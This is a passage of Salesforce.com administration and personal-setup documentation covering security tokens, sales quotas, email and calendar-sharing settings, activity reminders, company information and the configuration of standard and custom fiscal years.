Personal Setup Adding and Editing Quotas

To reset your security token, click Setup ➤ My Personal Information ➤ Reset Security Token, and click the Reset Security
Token button. The new security token is sent via email to the email address on your Salesforce.com user record.
If you have never been offered a security token, for example, because your organization restricts the IP addresses from which
you can log in, the Reset Security Token node does not appear in Setup.
Tip: It is recommended that you obtain your security token via the Salesforce.com user interface from a trusted network
prior to attempting to access Salesforce.com from a new IP address.

See Also:
Changing Your Password

Adding and Editing Quotas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can track your sales quotas on a quarterly basis. To add or edit a quota, go to your forecast for the quarter, or select Setup
➤ My Personal Information ➤ Personal Information.
To create a new quota from the personal information page:

1. Click New in the Quotas related list.


2. Select the year and quarter, and click Next.
By default, the page displays the quarter that follows the last quota you created. The year you select should be based on
your organization’s Fiscal Year Starts In settings.
3. Enter amounts for each month. Do not include any currency symbols. If your organization uses multiple currencies, your
quota is created in your personal currency by default.
4. Click Save to finish. Creating a quota automatically creates the corresponding forecast for that quarter.

To edit a quota, click the quota name in the Quotas related list. Editing the quota amounts automatically logs an entry to the
Forecast History related list of the corresponding forecast (see Forecast History on page 1578).
Note: Managers should enter their quota amounts as a sum of their entire team’s quotas.
If your sales group does not break down quotas monthly, enter zeroes for the first two months and put the entire
amount in the third month.

If your organization uses multiple currencies, click Change Currency in the Quotas related list to change the currency of the
quota. All quota and forecast values are automatically converted to the new currency using the conversion rates maintained by
your administrator.

63
Personal Setup Editing Email Settings

Note: This procedure does not apply to customizable forecasting. If your organization has enabled customizable
forecasting, see Setting Quotas for Customizable Forecasting on page 135. See Do I Have Customizable Forecasting?
on page 1581 to determine if your organization has enabled customizable forecasting.

See Also:
Creating Forecasts
Editing Forecasts

Editing Email Settings


Available in: All Editions

Click Setup ➤ Email ➤ My Email Settings to alter email settings that apply to all outbound emails you send from within
the application.
You can change:

• How your name appears on outbound emails


• Your return email address
• Whether all individual outbound emails are blind carbon copied to your return address (not available if your organization
has enabled sending compliance BCC emails)
• The signature that appears at the bottom of all individual outbound emails and can be added to mass email messages.

Note: In Personal and Developer Editions, a Salesforce.com-specific tag line is added below your personal signature
on all outbound emails.

See Also:
Sending Email

Editing Stay-in-Touch Settings


Available in: All Editions

To set your preferences for requesting contact information updates:


Note: If your organization uses person accounts, person accounts are also affected by these settings. For more
information, see What is a Person Account? on page 1125.

1. Click Setup ➤ Email ➤ My Stay-in-Touch Settings.

64
Personal Setup Granting Access to Your Calendar

2. Choose Yes for Automatic Bcc to receive copies of your sent Stay-in-Touch emails. This option is only available if your
organization has not enabled compliance BCC emails.
3. Enable the reminder if you would like to be prompted to send a Stay-in-Touch request whenever you save a new contact.
4. Enter a default subject for the email.
5. In the note area, enter a message to the recipient.
6. In the signature area, enter a signature with your contact information.
7. Use the merge fields area at the top of the page to display available merge field values, which you can copy and paste into
the subject, note, or signature boxes as needed.
8. Click Save.

See Also:
Sending Stay-in-Touch Requests

Granting Access to Your Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can grant access to other users, personal and public groups, roles, or roles and subordinates to view your calendar.

1. Click Setup ➤ My Personal Information ➤ Calendar Sharing.


2. Click Add to share your calendar with others.
3. Use the arrows to add or remove users, roles, or groups to your calendar.
4. In Calendar Access, specify how you want to share your calendar by selecting one of the following:

Option Description
Hide Details Others can see whether given times are available, but cannot
see any other information about the nature of events in the
calendar.
Hide Details and Add Events Others can see whether given times are available, but cannot
see details of events. Other users can insert events in the
calendar.
Show Details Others can see detailed information about events in the
calendar.
Show Details and Add Events Others can see detailed information about events in the
calendar and can insert events in the calendar.
Full Access Others can see detailed information about events in the
calendar, insert events in the calendar, and edit existing
events in the calendar.

5. Click Save.

65
Personal Setup Setting Record Type Preferences

The available Calendar Access options vary depending on the organization-wide calendar sharing level set by your
administrator. Only choices that make your calendar access less restrictive are available. Calendar sharing settings affect the
visibility of items on a calendar, but do not give access to event detail pages.
Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activity’s assignee in the role hierarchy.

See Also:
Activity Accessibility

Setting Record Type Preferences


Available in: Enterprise, Unlimited, and Developer Editions

Set an option to automatically insert your default record type when creating new records. Using this setting, you can bypass
the page prompting you to select a record type. If you have several different record types available to you, you may prefer to
be prompted to select a record type every time you create a new record.

1. Click Setup ➤ My Personal Information ➤ Record Type Selection.


2. Check any box to automatically select the default record type when creating records of that type.
Any unchecked boxes indicate that you prefer to be prompted to select a record type.
3. Click Save.

Note: The Record Type Selection option may not be available because your organization is not using record types or
multiple record types are not available for a particular tab.
Individual checkboxes are only offered when you have more than one record type available for a tab.
If your organization uses person accounts, note that checking the Account box on this page causes one default record
type selection for all types of accounts. It is not possible to set separate default record type selections for business
accounts and person accounts. If you work with both types of accounts, leave the box blank.

See Also:
Managing Record Types
Assigning Record Types to Profiles

Scheduling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Once opportunity update reminders are enabled for your organization, any user who has direct reports can schedule them.

66
Personal Setup Scheduling Opportunity Update Reminders

To schedule an opportunity update reminder:

1. Click Setup ➤ Email ➤ My Update Reminder.


2. Check Active if you want reminders to start after you save the settings.
3. Enter a name and address for the sender of the reminders.
4. Choose a recipients option.
5. Enter any other recipients in the CC field. Separate additional email addresses with a commas, semi-colons, spaces, or new
lines.
6. Enter a subject and message to be included in the email reminders.
7. Select a schedule frequency.
8. Select Include Past Due Opportunities if you want to include all opportunities that are open but have a close date
within the previous 90 days.
9. Choose a Close Date to include opportunities with dates within that range.
10. Select the fields to include in the email reminders.

Field Description
Last Login Date Most recent login date of the opportunity owner
# of Open Opportunities Total number of opportunities in the report
# Not Updated in Last 30 Days Total number of opportunities that have not been updated
in 30 days
Open Opportunity Amount Total of all opportunity amounts in report
Total Closed Amount Total closed amount for all opportunities in report.
If your organization uses multiple currencies, this amount
is converted to the user's currency. If your organization uses
advanced currency management, the conversion is done using
dated exchange rates.

Last Update Date Most recent date the opportunity owner submitted a forecast.
If your organization uses multiple currencies, this amount
is converted to the user's currency. If your organization uses
advanced currency management, the conversion is done using
dated exchange rates.

Forecast Amount From the forecast.


See Forecast Fields on page 1579.
If your organization uses multiple currencies, this amount
will be converted to the user's currency using the standard
conversion rate.
This field is not available to organizations using customizable
forecasting. For more information, see Do I Have
Customizable Forecasting? on page 1581.

67
Personal Setup Checking for Desktop Client Updates

Field Description
Best Case Amount From the forecast.
See Forecast Fields on page 1579. If your organization uses
multiple currencies, this amount will be converted to the
user's currency using the standard conversion rate.
This field is not available to organizations using customizable
forecasting. For more information, see Do I Have
Customizable Forecasting? on page 1581.

11. Click Save.

When there are no records in an opportunity update reminder, Salesforce.com does not send an email. If no email is sent for
three consecutive opportunity update reminders, the scheduled reminder is deactivated.

See Also:
Enabling Opportunity Update Reminders

Checking for Desktop Client Updates


Available in: All Editions

Desktop clients such as Connect for Outlook and Connect Offline integrate Salesforce.com with your PC. Follow these steps
to see which desktop client versions are installed on your computer and download available updates:

1. Navigate to Setup ➤ Desktop Integration ➤ Check for Updates.


2. From the table, review the names and version numbers of available desktop clients.
3. If you are using Internet Explorer, click the correct desktop client and then click Install Now to install a client.
4. If you are using another browser such as Mozilla Firefox, click Download Now to save the installer file to your computer.
Then double-click the saved file to run the installer program.

Your administrator controls which desktop clients you are allowed to install. See Setting User Permissions for Desktop Clients
on page 164. Note that Connect Offline is the only client available with Developer Edition.

See Also:
Force.com Connect for Microsoft Outlook® Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office® Overview
Force.com Connect for Lotus Notes Overview
Viewing Client Update Alerts

68
Personal Setup Customizing Activity Reminders

Customizing Activity Reminders


Available in: All Editions

When reminders are enabled for your organization, the default reminder settings are configured to open the reminder window
and play a sound fifteen minutes before an event's start time, or at 8:00 am the day a task is due. Click Setup ➤ My Personal
Information ➤ Reminders to customize the following reminder settings to meet your needs.

Setting Description
Trigger alert when reminder comes due If enabled, open the reminder window when a reminder is
due.
Play a reminder sound If enabled, play a reminder sound when a reminder is due.
By default, set reminder on Events to: If enabled, set a reminder on all new events. From the
drop-down list, select how long before the event you want to
be reminded of the upcoming event. You can disable the
reminder or change the reminder time when editing the event.
By default, set reminder on Tasks to: If enabled, set a reminder on all new tasks. From the
drop-down list, select what time, on the day the task is due,
you want to be reminded of the task. All tasks, including those
created by workflow, will use this default. You can disable the
reminder or change the reminder time when editing a task.

To test your settings, click Preview Reminder Alert.


Note: If the preview popup does not display, ensure that you aren't blocking popups. For more information, see Why
can't I view Salesforce.com popup windows such as lookup dialogs and the Help & Training window? on page 2322.

See Also:
Setting Reminders on Activities
Editing Tasks
Editing Events
Using the Activity Reminder Window

69
ADMINISTRATION SETUP

Setting Up Your Organization


The available setup options vary according to which Salesforce.com Edition you have.

Click Setup ➤ Administration Setup to open the Administration Setup page. It contains setup and customization options
to help you set up your Salesforce.com organization.

Getting Started
• Rollout Guide—Review this guide for best-practice examples on setting up Salesforce.com and ensuring a successful
rollout. The guide is not available in Personal or Developer Editions.

Manage Users
Expand the Manage Users folder under Administration Setup to access the following options:
• Users—Create, edit, and deactivate users (see Managing Users on page 126 and Managing Customer Portal Users on page
1452).
• Mass Email Users—Send an email to several of your users at once (see Sending Mass Email on page 1527).
• Roles—Define your organization’s role hierarchy (see Managing Roles on page 136).
• Profiles—Set user profiles to control users’ permissions, login access, and field-level security (see Managing Profiles on
page 142, Setting Login Restrictions on page 175, and Setting Field-Level Security on page 217).
• Public Groups—Add, update, or delete public groups (see Managing Groups on page 166).
• Queues—Add, update, or delete queues for cases, leads, or custom objects (see Managing Queues on page 170).
• Login History—View when your users are logging in (see Monitoring Logins on page 179).
• Training History—View which users have taken online training (see Monitoring Training History on page 180).

Company Profile
Expand the Company Profile folder under Administration Setup to access the following options:
• Company Information—Update your company's information and set up multiple currencies (see Company Information
on page 73).
• Manage Currencies—Set up multiple currencies (see Managing Multiple Currencies on page 87).
• Manage Divisions—Set up divisions to segment your data for greater ease-of-use (see Divisions Overview on page 94).
• Fiscal Years—Set up fiscal years for your organization (see About Fiscal Years on page 76).
• Business Hours—Set up business hours for your customer support team (see Setting Business Hours on page 674)
• Holidays—Set up holidays during which business hours for your customer support team do not apply (see Setting Holidays
on page 676)

Security Controls
Expand the Security Controls folder under Administration Setup to access the following options:
• Sharing Settings—Define how your users share data (see Setting Your Organization-Wide Default Sharing Model on
page 198 and Setting Sharing Rules on page 211).
• Field Accessibility—View the access that users have to specific fields based on profile and record types (see Checking
Field Accessibility on page 638).

70
Administration Setup Setting Up Your Organization

• Password Policies—Define password policies for security (see Setting Password Policies on page 218).
• Network Access—Define IP addresses from which users can log in to your organization (see Restricting Login IP Ranges
for Your Organization on page 222).
• Session Settings—Lock users’ sessions to an IP address or change session timeout settings (see Setting Session Security
on page 220).
• View Setup Audit Trail—View which users have recently changed your organization’s setup (see Monitoring Setup
Changes on page 241).
• Account Owner Report—Restrict users from running the Account Owners report, which lists all accounts and who owns
them (see Enabling the Account Owner Report on page 248).
• Delegated Administration—Enable standard users to perform some administrative duties (see Delegating Administrative
Duties on page 244).
• Remote Site Settings—Specify the Web addresses that your organization can invoke from Salesforce.com. You must
specify a site before callouts to them from Visualforce pages, Apex, or the AJAX proxy will function correctly (see the
AJAX Toolkit Developer's Guide).
• Expire All Passwords—Expire passwords for all users in the organization (see Resetting Passwords on page 132).
• HTML Documents and Attachments Settings—Restrict users from uploading HTML files as attachments or to the
Documents tab (see Prohibiting HTML Attachments and Documents on page 248).

Communication Templates
Expand the Communication Templates folder under Administration Setup to access the following options:
• Letterheads—Create branded letterheads for HTML emails (see Using Letterheads on page 106).
• Email Templates —Create email templates to standardize communication (see Managing Email Templates on page 109).
• Mail Merge Templates—Upload templates for mail merge documents (see Managing Mail Merge Templates on page
102).

Translation Workbench
Expand the Translation Workbench folder under Administration Setup to access options to translate custom field names,
custom field help text, custom related lists, custom web tabs, picklist values, record types, page layout sections, solution
categories, data category groups, data categories, field validation error messages, custom app names, custom s-control labels,
custom buttons and links, division names, Apex sharing reasons, workflow tasks subject and description, custom report type
names, section names on custom report type layouts, and column names displayed on the Select Columns page in the report
wizard for reports created from custom report types for your international users (see Setting Up Translation Workbench on
page 121).

Data Management
Expand the Data Management folder under Administration Setup to access the following options:
• Analytic Snapshots—Enable users to automatically run reports and save report results to fields on custom objects for
further customization (see Setting Up Analytic Snapshots on page 262).
• Import Accounts/Contacts, Import Person Accounts, Import Leads, Import Solutions and Import Custom Objects-
Import your organization’s accounts, contacts, custom objects, leads, person accounts, and solutions (see Accessing the
Import Wizards on page 318).
• Data Export—Export your organization’s data (see Exporting Backup Data on page 251).
• Storage Usage—View how much data storage and file storage your organization is using (see Monitoring Resources on
page 253).
• Mass Transfer Records—Transfer multiple records at one time (see Mass Transferring Records on page 257).
• Mass Delete Records —Delete multiple records at one time (see Deleting Mass Data on page 260).
• Mass Transfer Approval Requests—Transfer multiple approval requests at one time (see Managing Multiple Approval
Requests on page 259).

71
Administration Setup Setting Up Your Organization

• Delete All Data—Delete the existing data from your trial organization (see Deleting Trial Data on page 28).
• Mass Reassign Account Teams and Mass Reassign Opportunity Teams—Add, remove, and reassign account and sales
team members for multiple records (see Reassigning Multiple Team Members on page 275).
• Mass Division Transfer—Change divisions for multiple records (see Divisions Overview on page 94 and Transferring
Divisions on page 278).
• Sandbox—Create a complete single copy of your organization in a separate environment to do a variety of actions, such
as quality assurance testing, integration testing, or user training, without compromising your organization’s data (see
Force.com Sandbox on page 280).
• Mass Update Addresses—Update the Country or State/Province field on all records with an address. These include
addresses in accounts, contacts, contracts, invoices, leads, and orders (see Mass Updating Addresses on page 279).
• Data Loader—Download a client application that allows you to import, update, delete, and export large quantities of
records (see Data Loader Overview on page 335).

Monitoring
Expand the Monitoring folder under Administration Setup to access the following options:
• Imports—An administrator can check the Import Queue to view details about an import or to cancel an organization
import (see Using the Import Queue on page 369).
• Outbound Messages—An administrator can view the Outbound Message queue to check the status of outbound messages
related to workflow or approval processes (see Tracking Outbound Message Delivery Status on page 370).
• Time-Based Workflow—Specify criteria for monitoring the workflow queue, which contains pending actions triggered
by workflow rules (see Monitoring the Workflow Queue on page 371).
• Case Escalations—Specify criteria for monitoring the case escalation queue, which contains pending actions triggered by
case escalation rules (see Monitoring the Case Escalation Rule Queue on page 372).
• API Usage Notifications—Define a notification process that automatically sends email to a specified user when API
requests for an organization exceed the specified limit (see About API Usage Notifications on page 373).
• Mass Emails—View the status of scheduled mass emails and cancel mass emails as appropriate (see Monitoring the Mass
Email Queue on page 375).
• Debug Logs—Specify the users for whom you want to retain the Apex debug logs in your organization (see Managing
Debug Logs on page 376).
• Scheduled Jobs—View all the jobs scheduled to run by users, such as analytic snapshots and dashboard refreshes (see
Monitoring Scheduled Jobs on page 378.)
• Email Log Files—Request detailed summaries of email sent from Salesforce.com over the last 30 days (see Email Logs
on page 381).
• Bulk Data Load Jobs—Monitor the status of current and recent bulk data load jobs (see Monitoring Bulk Data Load Jobs
on page 387).

Mobile Administration
Expand the Mobile Administration folder under Administration Setup to create mobile configurations for your wireless
users. Mobile configurations are sets of parameters that determine which data Salesforce.com transmits, and which users
receive that data on their mobile devices (see Managing Mobile Configurations on page 2174).

Offline Administration
Expand the Offline Administration folder under Administration Setup to manage briefcase configurations for Connect
Offline. Connect Offline. Connect Offline is a client application that lets you access a subset of Salesforce.com records using
the same browser-based interface as the online system but without an Internet connection. Use Connect Offline to view, edit,
create, and delete accounts, activities, contacts, opportunities, leads, and custom object records (including relationship groups).
You can also add and update products and schedules on opportunities.

72
Administration Setup Company Information

Email Administration
Expand the Email Administration folder under Administration Setup to configure the following email options for your
organization:
• Deliverability—Set up email delivery options that affect your entire organization. (see Configuring Deliverability Settings
on page 393.)
• Compliance BCC Email—If your organization evaluates all outbound email messages for compliance, you can enable
compliance BCC emails to automatically send a hidden copy of each outbound email message to an email address you
specify. Enabling compliance BCC emails prevents users from editing the BCC field on any email and disables their
Automatic Bcc setting under My Email Settings. (See Enabling Compliance BCC Emails on page 395.)
• Email Relay Activation—Configure Salesforce.com to automatically route email through your company's Simple Mail
Transfer Protocol (SMTP) server. (See Setting Up Email Relaying on page 397.)
• Test Deliverability—Verify your organization can receive email from every Salesforce.com IP address. (See Testing
Deliverability on page 396.)
• Organization-Wide Addresses—Associate an email alias with each available user profile. (See Organization-Wide
Addresses on page 399.)
• Email To Salesforce—Email to Salesforce allows you to automatically log emails you send from third-party email accounts
as activities on lead and contact records in Salesforce.com. (See Enabling Email to Salesforce on page 401.)

Google Apps
Expand the Google Apps folder under Administration Setup to integrate Salesforce.com with Google Apps™: a suite of
on-demand communication and collaboration tools hosted by Google and designed for business users. (See Google Apps
Overview on page 2015.)

Company Information
Available in: All Editions

User Permissions Needed


To view company information: “View Setup and Configuration”
To change company information: “Customize Application”

When your company signs up, the information provided during signup is displayed on the Company Information page at
Setup ➤ Company Profile ➤ Company Information.
From the Company Information page, you can:

• Click Edit to change your company's information, including your organization's Default Language setting.
• Click Currency Setup to set up the ability to use multiple currencies. Available in Group, Professional, Enterprise,
Unlimited, and Developer Editions only.

The Company Information page also displays all of the active user and feature licenses you have purchased for your organization.
A user license entitles a user to different functionality within Salesforce.com and determines the profiles available to the user.
A feature license entitles a user to an additional Salesforce.com feature, such as Marketing or Connect Offline.
This page lists the following for each type of license:

73
Administration Setup Company Information

• Status indicates the status of the license.


• Total Licenses indicates the number of licenses for which your organization is billed and that are available to you.
• Used Licenses is the number of licenses that you have assigned to users.
• Remaining Licenses is the number of unused licenses.

See Also:
Company Information Fields
Managing Multiple Currencies
Viewing User License Types
Viewing Feature Licenses

Setting the Fiscal Year


Available in: All Editions

User Permissions Needed


To view fiscal year: “View Setup and Configuration”
To change fiscal year: “Customize Application”

You can set one of two types of fiscal years: standard fiscal years or custom fiscal years. For specific information on both types
of fiscal years, see About Fiscal Years on page 76.

Setting a Standard Fiscal Year


If your organization follows the Gregorian calendar year, but you need to change the fiscal year start month, use standard fiscal
years. Standard fiscal years can start on the first day of any month, and you can specify whether the fiscal year is named for
the starting or ending year. For example, if your fiscal year starts in April 2001 and ends in March 2002, your fiscal year setting
can be either 2001 or 2002. If your fiscal year is more complicated than this, see Enabling Custom Fiscal Years on page 75
Caution: All quotas, forecast history, and overrides are lost if the fiscal start month is changed to a month that wasn't
previously the first month in a quarter. For example, if you change the start month from January to April, your data
will be preserved. However, if you change it from January to February, your data will be lost.

To set a standard fiscal year:


1. Back up your current data.
a. Run and export these reports to Excel:
• Opportunity Pipeline
• Quarterly Forecast Summary
• Quota vs. Actual

b. Optionally, generate weekly export data.

74
Administration Setup Company Information

We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities
and forecasts organization-wide.
2. Click Setup ➤ Company Profile ➤ Fiscal Year.
3. Select Standard Fiscal Year.
4. Choose the start month.
5. Specify whether the fiscal year is defined by the year it begins or ends.
6. Optionally, select Apply to All Forecasts and Quotas if you want to apply the new fiscal year settings to your
existing forecasts and quotas. This option may not be available depending on your forecast settings.
7. Click Save to finish.

Enabling Custom Fiscal Years


If your fiscal year definition is not met by a standard fiscal year, you can enable custom fiscal years which will allow you to
flexibly define a more complex fiscal year structure.
To enable custom fiscal years:
Note: Before enabling custom fiscal years, make sure that you have exported any data related to fiscal periods. For
specific details about the effects of enabling custom fiscal years, see About Fiscal Years on page 76.

1. Back up your current data.


a. Run and export these reports to Excel:
• Opportunity Pipeline
• Quarterly Forecast Summary
• Quota vs. Actual

b. Optionally, generate weekly export data.


We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities
and forecasts organization-wide.
2. Click Setup ➤ Company Profile ➤ Fiscal Year.
3. Select Custom Fiscal Year.
4. Click Enable Custom Fiscal Years.
5. If you understand the effects of enabling custom fiscal years and you have all your data exported, click OK.
Caution: Custom fiscal years cannot be disabled once enabled. Enabling custom fiscal years has impacts on your
reports, forecasts, quotas, and other date sensitive material. Do not enable custom fiscal years unless you understand
and are prepared for all the implications.

If you are not certain you want to enable custom fiscal years, click Cancel.
6. Once you have enabled custom fiscal years, define your fiscal year. See Defining a Custom Fiscal Year on page 82.

See Also:
Setting Up Customizable Forecasting
About Fiscal Years
Defining a Custom Fiscal Year
Choosing a Custom Fiscal Year Template

75
Administration Setup Company Information

About Fiscal Years

Available in: All Editions

User Permissions Needed


To define or edit fiscal years: “Customize Application”
To view fiscal years: “View Setup and Configuration”

Not all businesses use the Gregorian year for their fiscal year. Salesforce.com makes it easy for you to define a fiscal year that
fits your business needs.
If your fiscal year follows the Gregorian calendar, but does not start in January, you can simply and easily set your fiscal year
by defining a standard fiscal year. If your fiscal year follows a different structure, you can define a custom fiscal year that meets
your needs.
Whether you use a standard fiscal year or a custom fiscal year, you can define individual fiscal years once for your entire
organization. These fiscal year definitions allow you to use these fiscal periods throughout Salesforce.com including in reporting,
opportunities, and forecasting.
Tip: As a best practice, define your custom fiscal years after your current forecast. Also, update product schedules and
forecasts whenever a custom fiscal year is created or changed.

See Also:
Setting the Fiscal Year

Standard Fiscal Years


Standard fiscal years are periods that follow the Gregorian calendar, but can start on the first day of any month of the year.
Unlike custom fiscal year, standard fiscal years can be used by organizations that do not have customizable forecasting enabled.

Custom Fiscal Years


For companies that break down their fiscal years, quarters, and weeks into custom fiscal periods based on their financial
planning requirements, Salesforce.com allows you to flexibly define these periods using custom fiscal years. For example, as
part of a custom fiscal year, you can create a 13-week quarter represented by three periods of 4, 4, and 5 weeks, rather than
calendar months.
If you use a common fiscal year structure, such as 4-4-5 or a 13-period structure, you can rapidly define a fiscal year by simply
specifying a start date and an included template. If your fiscal year structure is not included in the templates, you can easily
modify a template. For example, if you use three fiscal quarters per year (a trimester) rather than four, delete or modify quarters
and periods to meet your needs.
Custom fiscal periods can be named based on your standards. For example, a fiscal period could be called “P2” or “February.”

76
Administration Setup Company Information

Fiscal years can be modified any time that you need to change their definition. For example, an extra week could be added to
synchronize a custom fiscal year with a standard calendar in a leap year. Changes to fiscal year structure take effect immediately
upon being saved.

Considerations When Enabling Custom Fiscal Years


Before enabling custom fiscal year, consider these issues:
• Once you enable custom fiscal years, you cannot disable it. However, you can define custom fiscal years that follow the
same Gregorian calendar structure as the Salesforce.com standard fiscal years.
• Fiscal years will not be automatically created. The only fiscal years available are those that your organization defines.
• Forecasting cannot be used with custom fiscal years unless you have customizable forecasting enabled. To determine if you
have customizable forecasting, see Do I Have Customizable Forecasting? on page 1581.
• Enabling or defining custom fiscal years impacts your forecasts, reports, and quotas.
- When you define a new custom fiscal year, or when you change the length of any fiscal period, all quotas for that year
will be lost.
- When you define a new custom fiscal year, or when you change the length of any fiscal period, forecasts, forecast history,
and forecast overrides are lost. Changing the length of a period may also affect the previous or next fiscal year and
reports associated with it. Forecasts for periods before the first custom fiscal year will be saved and can be accessed as
usual.
- Forecast reports for a period after the last defined fiscal year cannot be grouped by period, only by date.
- To ensure your forecast reports have the most updated amounts, view the forecast for the period included in the report
before running a forecast report.

• Your organization will not be able to use fiscal period columns in opportunity, opportunity with product, or opportunity
with schedule reports.
• Opportunity list views will not include a fiscal period columns.

Customizing the Fiscal Year Structure


Available in: All Editions

User Permissions Needed


To define or edit fiscal years: “Customize Application”
To view fiscal years: “View Setup and Configuration”

If your custom fiscal year needs a different structure than one available from the templates, you can use advanced customization
to modify the details of your custom fiscal year definition. Custom fiscal years allow you to:

• Customize the period labels


• Reset the fiscal year to a template
• Add or remove fiscal periods
• Change the length of a fiscal week

77
Administration Setup Company Information

Caution: Changing the length of a fiscal year has an impact on forecasting and reporting. For detailed information
on the impact, see About Fiscal Years on page 77.

Customizing the Period Labels


The fiscal year period labels for forecasting and reporting are set by the default label values for the fiscal year periods. To
change them, see Customizing the Fiscal Year Labels on page 79.

Resetting the Fiscal Year to a Template


During customization, if you want to return to a fiscal year template, select a template from the Reset Fiscal Year
Structure drop-down list.
Note: Resetting the fiscal year structure to a template removes all the customizations you made to the fiscal year.

Adding or Removing Fiscal Periods


You can easily add or remove fiscal periods (such as quarters, periods, or weeks) from the fiscal year structure.
To add fiscal periods:
1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click Edit for the fiscal year you want to edit.
3. If it is not already expanded, expand the Advanced Customization section.
4. Select the checkbox for the period before the new period. For example, if you want to add a new quarter, and you want it
to be the second quarter, select the checkbox for the first quarter.
5. Click Insert.
Note: The maximum number of fiscal periods is 250.

To remove a fiscal period:


1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click Edit for the fiscal year you want to edit.
3. If it is not already expanded, expand the Advanced Customization section.
4. Select the checkbox for the period you want to delete.
5. Click Delete.
Note: You must have at least one quarter, one period, and one week.

Changing the Length of a Fiscal Week


To change the length of fiscal periods:
1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click Edit for the fiscal year you want to edit.
3. If it is not already expanded, expand the Advanced Customization section.
4. Choose the length from the Duration drop-down list for the fiscal week.

78
Administration Setup Company Information

Note: To change the duration of a fiscal period or quarter, insert or delete weeks, or change the length of weeks
that compose the period or quarter.

Once you have customized your fiscal year, preview the fiscal year definition. If it is correct, close the preview and click Save
to save your fiscal year.

See Also:
Defining a Custom Fiscal Year
About Fiscal Years
Choosing a Custom Fiscal Year Template

Customizing the Fiscal Year Labels


Available in: All Editions

User Permissions Needed


To define or edit fiscal years: “Customize Application”
To view fiscal years: “View Setup and Configuration”

There are two ways to customize the labeling of your fiscal year:

1. Naming schemes and prefix choices


2. Fiscal year picklist customization

Fiscal Year Naming Schemes and Prefix Choices


When defining a custom fiscal year, you can choose the labeling scheme to use for your custom fiscal year. Each fiscal period
type (quarter, period, and week) has a list of labeling schemes that you can select.
Quarter Name Scheme

Numbered by Year
This option allows you to add the quarter number to the quarter label. The quarter label is a combination of the
label for the quarter prefix and the quarter number. For example, if the quarter prefix is “Q”, the label for the third
quarter Q3. To customize the quarter prefix, see Quarter Prefix on page 80. By default the number for each
quarter is set by their order (the first quarter is labeled “1”), but you can customize it by selecting a different value
from the quarter detail drop-down list.

Custom Quarter Names


This option allows you to set the quarter label to any name. The quarter label is set to the name you select from
Quarter Name. By default the order of the quarter names is the same as the picklist order, but you can customize
it by selecting a different value from the quarter detail drop-down list.

79
Administration Setup Company Information

Period Name Scheme

Numbered By Year
This option allows you to set the period label based on its position in the year. The period label is a combination
of the period prefix and the period number. Period numbers do not reset in each quarter. For example, if the period
prefix is “P,” the label for the sixth period is P6. To customize the Period Prefix, see Period Prefix on
page 80. By default the number for each period is set by their order (the first period is labeled “1”), but you can
customize it by selecting a different value from the period detail drop-down list.

Numbered By Quarter
This option allows you to set the period label based on its position in the quarter. The period label is a combination
of the period prefix and the period number. Period numbers reset in each quarter. For example, if the period prefix
is “P,” and the sixth period is the second period in the second quarter, its label is P2. To customize the period
prefix, see Period Prefix on page 80. By default the number for each period is set by their order within the
quarter (the first period in a quarter is labeled “1”), but you can customize it by selecting a different value from the
period detail drop-down list.

Standard Month Names


This option allows you to set the period label to the month name of the start of the period. For example, if a period
started on October 12 and ends on November 10, the period label would be October.

Custom Period Names


This option allows you to set the period label to any string. The period label is set to the string you select from
Period Name. By default the order of the period names is the same as the picklist order, which you can customize
by selecting a different value from the period detail drop-down list.

Fiscal Year Picklists


Review these custom picklists to customize the labels for your custom fiscal year.
Quarter Prefix
The quarter prefix picklist is a list of options for the text that prefixes the quarter number or name if your fiscal year uses
the Numbered By Year quarter naming scheme. For example, if the fiscal quarter is called “Q4,” the “Q” is the quarter
prefix.

Period Prefix
The period prefix picklist is a list of options for the text that prefixes the period number or name if your fiscal year uses
the Numbered By Year period naming scheme. For example, if the fiscal quarter is called “P4,” the “P” is the period
prefix.

Quarter Name
The quarter name picklist is a list of options for the quarter name if your fiscal year uses the Custom Quarter Names
quarter naming scheme. For example, if you want to name your quarters for the seasons (Spring, Summer, Fall, and
Winter), you could set the quarter name list to those values.

Period Name
The period name picklist is a list of options for the quarter name if your fiscal year uses the Custom Period Names
quarter naming scheme. Similar to the quarter name picklist, you can choose meaningful names for the period name
picklist.

Customizing Fiscal Year Names


To customize one of these picklists:

80
Administration Setup Company Information

1. Click Setup ➤ Company Profile ➤ Fiscal Year.


2. Click Edit next to the appropriate picklist.
For details on customizing the values of these picklists, see Additional Options for Updating Picklists on page 424.

Choosing a Custom Fiscal Year Template


Available in: All Editions

User Permissions Needed


To change your fiscal year: “Customize Application”

When defining a new custom fiscal year, your first step is to choose a custom fiscal year template. These templates are available
to make it easier for you to define your custom fiscal year. They create a simple custom fiscal year that you can customize to
meet your exact needs.
Note: If you choose a template and realize that it is not the best one for your fiscal year definition, you can reset it at
any time using the Reset Fiscal Year Structure option. For more information, see Customizing the Fiscal Year
Structure on page 77.

Choose one of three types of templates:


4 Quarters per Year, 13 Weeks per Quarter
Choose one of these templates for your fiscal year if you want each quarter to have the same number of weeks per quarter.
These templates all have 4 quarters, 12 periods, and 52 weeks per year. Each quarter is 13 weeks long and is composed
of three periods. Two of the periods in each quarter are 4 weeks, and one is 5 weeks. In a 4-4-5 template, for example,
the first and second period of a quarter are 4 weeks long, and the third period is 5 weeks long. Weeks are always 7 days
long. A typical customization for these templates is to add extra weeks for leap years.
4-4-5
Within each quarter, period 1 has 4 weeks, period 2 has 4 weeks, and period 3 has 5 weeks

4-5-4
Within each quarter, period 1 has 4 weeks, period 2 has 5 weeks, and period 3 has 4 weeks

5-4-4
Within each quarter, period 1 has 5 weeks, period 2 has 4 weeks, and period 3 has 4 weeks

13 Periods per Year, 4 Weeks per Period


Choose one of these templates if your fiscal year has more than 12 periods and if one quarter is longer than the other
quarters. These templates all have 4 quarters per year, 13 periods per year, 3 or 4 periods per quarter, 53 weeks per year,
and 4 weeks per period (5 weeks in the final period). Weeks generally have 7 days, but will include a short week at the
